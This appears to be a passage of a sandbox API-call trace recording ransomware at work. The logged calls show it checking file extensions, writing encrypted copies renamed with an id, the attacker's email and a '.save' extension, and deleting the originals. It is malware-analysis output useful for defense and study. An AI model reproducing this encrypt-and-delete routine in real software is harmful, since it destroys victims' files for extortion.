lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0054.161] lstrlenW (lpString=".xls") returned 4 [0054.161] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0054.161] lstrlenW (lpString=".xlsx") returned 5 [0054.161] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0054.161] lstrlenW (lpString=".ppt") returned 4 [0054.161] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0054.161] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0054.161] lstrlenW (lpString=".zip") returned 4 [0054.161] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0054.161] lstrlenW (lpString=".rar") returned 4 [0054.161] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0054.161] lstrlenW (lpString=".bz2") returned 4 [0054.161] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0054.161] lstrlenW (lpString=".7z") returned 3 [0054.161] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0054.161] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0054.161] lstrlenW (lpString=".dbf") returned 4 [0054.161] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0054.161] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0054.161] lstrlenW (lpString=".1cd") returned 4 [0054.161] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0054.162] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0054.162] lstrlenW (lpString=".jpg") returned 4 [0054.162] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0054.162] lstrcmpiW (lpString1=".xsd", lpString2=".save") returned 1 [0054.162] lstrlenW (lpString="SetupUi.xsd") returned 11 [0054.162] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0054.162] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=30120) returned 1 [0054.162] CloseHandle (hObject=0x2f0) returned 1 [0054.162] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 0x80 [0054.162] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.162] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0054.162] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.162] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.163] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0054.163] GetLastError () returned 0x0 [0054.163] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x75a8, lpOverlapped=0x0) returned 1 [0054.830] WriteFile (in: hFile=0x2c0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x75b0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x75b0, lpOverlapped=0x0) returned 1 [0054.831] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0054.831] WriteFile (in: hFile=0x2c0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xea, lpOverlapped=0x0) returned 1 [0054.831] SetEndOfFile (hFile=0x2c0) returned 1 [0054.832] CloseHandle (hObject=0x2c0) returned 1 [0054.833] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.833] SetEndOfFile (hFile=0x2f0) returned 1 [0054.834] CloseHandle (hObject=0x2f0) returned 1 [0054.834] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0054.835] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 1 [0054.835] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0054.835] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0054.835] lstrlenW (lpString=".doc") returned 4 [0054.835] lstrcmpiW (lpString1=".doc", lpString2=".xsd") returned -1 [0054.835] lstrlenW (lpString=".docx") returned 5 [0054.835] lstrcmpiW (lpString1=".docx", lpString2="i.xsd") returned -1 [0054.835] lstrlenW (lpString=".pdf") returned 4 [0054.835] lstrcmpiW (lpString1=".pdf", lpString2=".xsd") returned -1 [0054.835] lstrlenW (lpString=".xls") returned 4 [0054.835] lstrcmpiW (lpString1=".xls", lpString2=".xsd") returned -1 [0054.835] lstrlenW (lpString=".xlsx") returned 5 [0054.835] lstrcmpiW (lpString1=".xlsx", lpString2="i.xsd") returned -1 [0054.835] lstrlenW (lpString=".ppt") returned 4 [0054.835] lstrcmpiW (lpString1=".ppt", lpString2=".xsd") returned -1 [0054.835] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0054.835] lstrlenW (lpString=".zip") returned 4 [0054.836] lstrcmpiW (lpString1=".zip", lpString2=".xsd") returned 1 [0054.836] lstrlenW (lpString=".rar") returned 4 [0054.836] lstrcmpiW (lpString1=".rar", lpString2=".xsd") returned -1 [0054.836] lstrlenW (lpString=".bz2") returned 4 [0054.836] lstrcmpiW (lpString1=".bz2", lpString2=".xsd") returned -1 [0054.836] lstrlenW (lpString=".7z") returned 3 [0054.836] lstrcmpiW (lpString1=".7z", lpString2="xsd") returned -1 [0054.836] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0054.836] lstrlenW (lpString=".dbf") returned 4 [0054.836] lstrcmpiW (lpString1=".dbf", lpString2=".xsd") returned -1 [0054.836] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0054.836] lstrlenW (lpString=".1cd") returned 4 [0054.836] lstrcmpiW (lpString1=".1cd", lpString2=".xsd") returned -1 [0054.836] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0054.836] lstrlenW (lpString=".jpg") returned 4 [0054.836] lstrcmpiW (lpString1=".jpg", lpString2=".xsd") returned -1 [0054.836] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0054.836] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0054.836] lstrlenW (lpString=".doc") returned 4 [0054.836] lstrcmpiW (lpString1=".doc", lpString2=".xsd") returned -1 [0054.836] lstrlenW (lpString=".docx") returned 5 [0054.836] lstrcmpiW (lpString1=".docx", lpString2="i.xsd") returned -1 [0054.836] lstrlenW (lpString=".pdf") returned 4 [0054.836] lstrcmpiW (lpString1=".pdf", lpString2=".xsd") returned -1 [0054.836] lstrlenW (lpString=".xls") returned 4 [0054.836] lstrcmpiW (lpString1=".xls", lpString2=".xsd") returned -1 [0054.836] lstrlenW (lpString=".xlsx") returned 5 [0054.836] lstrcmpiW (lpString1=".xlsx", lpString2="i.xsd") returned -1 [0054.836] lstrlenW (lpString=".ppt") returned 4 [0054.836] lstrcmpiW (lpString1=".ppt", lpString2=".xsd") returned -1 [0054.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0054.837] lstrlenW (lpString=".zip") returned 4 [0054.837] lstrcmpiW (lpString1=".zip", lpString2=".xsd") returned 1 [0054.837] lstrlenW (lpString=".rar") returned 4 [0054.837] lstrcmpiW (lpString1=".rar", lpString2=".xsd") returned -1 [0054.837] lstrlenW (lpString=".bz2") returned 4 [0054.837] lstrcmpiW (lpString1=".bz2", lpString2=".xsd") returned -1 [0054.837] lstrlenW (lpString=".7z") returned 3 [0054.837] lstrcmpiW (lpString1=".7z", lpString2="xsd") returned -1 [0054.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0054.837] lstrlenW (lpString=".dbf") returned 4 [0054.837] lstrcmpiW (lpString1=".dbf", lpString2=".xsd") returned -1 [0054.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0054.837] lstrlenW (lpString=".1cd") returned 4 [0054.837] lstrcmpiW (lpString1=".1cd", lpString2=".xsd") returned -1 [0054.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0054.837] lstrlenW (lpString=".jpg") returned 4 [0054.837] lstrcmpiW (lpString1=".jpg", lpString2=".xsd") returned -1 [0054.837] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0054.837] lstrlenW (lpString="base_jpn.xml") returned 12 [0054.837] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0056.096] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=804) returned 1 [0056.096] CloseHandle (hObject=0x34c) returned 1 [0056.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0056.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.097] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0056.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0056.097] lstrlenW (lpString=".doc") returned 4 [0056.097] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0056.097] lstrlenW (lpString=".docx") returned 5 [0056.097] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0056.097] lstrlenW (lpString=".pdf") returned 4 [0056.097] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0056.097] lstrlenW (lpString=".xls") returned 4 [0056.097] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0056.097] lstrlenW (lpString=".xlsx") returned 5 [0056.097] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0056.097] lstrlenW (lpString=".ppt") returned 4 [0056.097] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0056.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0056.097] lstrlenW (lpString=".zip") returned 4 [0056.097] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0056.097] lstrlenW (lpString=".rar") returned 4 [0056.097] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0056.098] lstrlenW (lpString=".bz2") returned 4 [0056.098] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0056.098] lstrlenW (lpString=".7z") returned 3 [0056.098] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0056.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0056.098] lstrlenW (lpString=".dbf") returned 4 [0056.098] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0056.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0056.098] lstrlenW (lpString=".1cd") returned 4 [0056.098] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0056.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0056.098] lstrlenW (lpString=".jpg") returned 4 [0056.098] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0056.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0056.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0056.098] lstrlenW (lpString=".doc") returned 4 [0056.098] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0056.098] lstrlenW (lpString=".docx") returned 5 [0056.098] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0056.098] lstrlenW (lpString=".pdf") returned 4 [0056.098] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0056.098] lstrlenW (lpString=".xls") returned 4 [0056.098] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0056.098] lstrlenW (lpString=".xlsx") returned 5 [0056.099] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0056.099] lstrlenW (lpString=".ppt") returned 4 [0056.099] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0056.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0056.099] lstrlenW (lpString=".zip") returned 4 [0056.099] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0056.099] lstrlenW (lpString=".rar") returned 4 [0056.099] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0056.099] lstrlenW (lpString=".bz2") returned 4 [0056.099] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0056.099] lstrlenW (lpString=".7z") returned 3 [0056.099] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0056.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0056.099] lstrlenW (lpString=".dbf") returned 4 [0056.099] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0056.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0056.099] lstrlenW (lpString=".1cd") returned 4 [0056.099] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0056.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0056.099] lstrlenW (lpString=".jpg") returned 4 [0056.099] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0056.099] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0056.099] lstrlenW (lpString="ja-jp.xml") returned 9 [0056.099] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0056.100] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=16616) returned 1 [0056.100] CloseHandle (hObject=0x34c) returned 1 [0056.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0056.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.100] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0056.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0056.100] lstrlenW (lpString=".doc") returned 4 [0056.100] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0056.100] lstrlenW (lpString=".docx") returned 5 [0056.100] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0056.100] lstrlenW (lpString=".pdf") returned 4 [0056.100] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0056.101] lstrlenW (lpString=".xls") returned 4 [0056.101] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0056.101] lstrlenW (lpString=".xlsx") returned 5 [0056.101] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0056.101] lstrlenW (lpString=".ppt") returned 4 [0056.101] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0056.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0056.101] lstrlenW (lpString=".zip") returned 4 [0056.101] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0056.101] lstrlenW (lpString=".rar") returned 4 [0056.101] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0056.101] lstrlenW (lpString=".bz2") returned 4 [0056.101] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0056.101] lstrlenW (lpString=".7z") returned 3 [0056.101] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0056.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0056.101] lstrlenW (lpString=".dbf") returned 4 [0056.101] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0056.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0056.101] lstrlenW (lpString=".1cd") returned 4 [0056.101] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0056.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0056.101] lstrlenW (lpString=".jpg") returned 4 [0056.101] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0056.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0056.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0056.101] lstrlenW (lpString=".doc") returned 4 [0056.101] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0056.101] lstrlenW (lpString=".docx") returned 5 [0056.101] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0056.101] lstrlenW (lpString=".pdf") returned 4 [0056.101] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0056.101] lstrlenW (lpString=".xls") returned 4 [0056.101] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0056.102] lstrlenW (lpString=".xlsx") returned 5 [0056.102] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0056.102] lstrlenW (lpString=".ppt") returned 4 [0056.102] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0056.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0056.102] lstrlenW (lpString=".zip") returned 4 [0056.102] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0056.102] lstrlenW (lpString=".rar") returned 4 [0056.102] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0056.102] lstrlenW (lpString=".bz2") returned 4 [0056.102] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0056.102] lstrlenW (lpString=".7z") returned 3 [0056.102] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0056.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0056.102] lstrlenW (lpString=".dbf") returned 4 [0056.102] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0056.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0056.102] lstrlenW (lpString=".1cd") returned 4 [0056.102] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0056.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0056.102] lstrlenW (lpString=".jpg") returned 4 [0056.102] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0056.102] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0056.102] lstrlenW (lpString="ko-kr.xml") returned 9 [0056.102] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0056.103] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=15097) returned 1 [0056.103] CloseHandle (hObject=0x34c) returned 1 [0056.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0056.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.103] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0056.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0056.103] lstrlenW (lpString=".doc") returned 4 [0056.103] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0056.103] lstrlenW (lpString=".docx") returned 5 [0056.103] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0056.103] lstrlenW (lpString=".pdf") returned 4 [0056.103] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0056.103] lstrlenW (lpString=".xls") returned 4 [0056.103] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0056.103] lstrlenW (lpString=".xlsx") returned 5 [0056.103] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0056.103] lstrlenW (lpString=".ppt") returned 4 [0056.103] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0056.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0056.103] lstrlenW (lpString=".zip") returned 4 [0056.103] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0056.103] lstrlenW (lpString=".rar") returned 4 [0056.103] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0056.103] lstrlenW (lpString=".bz2") returned 4 [0056.104] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0056.104] lstrlenW (lpString=".7z") returned 3 [0056.104] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0056.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0056.104] lstrlenW (lpString=".dbf") returned 4 [0056.104] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0056.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0056.104] lstrlenW (lpString=".1cd") returned 4 [0056.104] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0056.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0056.104] lstrlenW (lpString=".jpg") returned 4 [0056.104] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0056.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0056.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0056.104] lstrlenW (lpString=".doc") returned 4 [0056.104] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0056.104] lstrlenW (lpString=".docx") returned 5 [0056.104] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0056.104] lstrlenW (lpString=".pdf") returned 4 [0056.104] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0056.104] lstrlenW (lpString=".xls") returned 4 [0056.104] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0056.104] lstrlenW (lpString=".xlsx") returned 5 [0056.104] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0056.104] lstrlenW (lpString=".ppt") returned 4 [0056.104] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0056.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0056.104] lstrlenW (lpString=".zip") returned 4 [0056.104] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 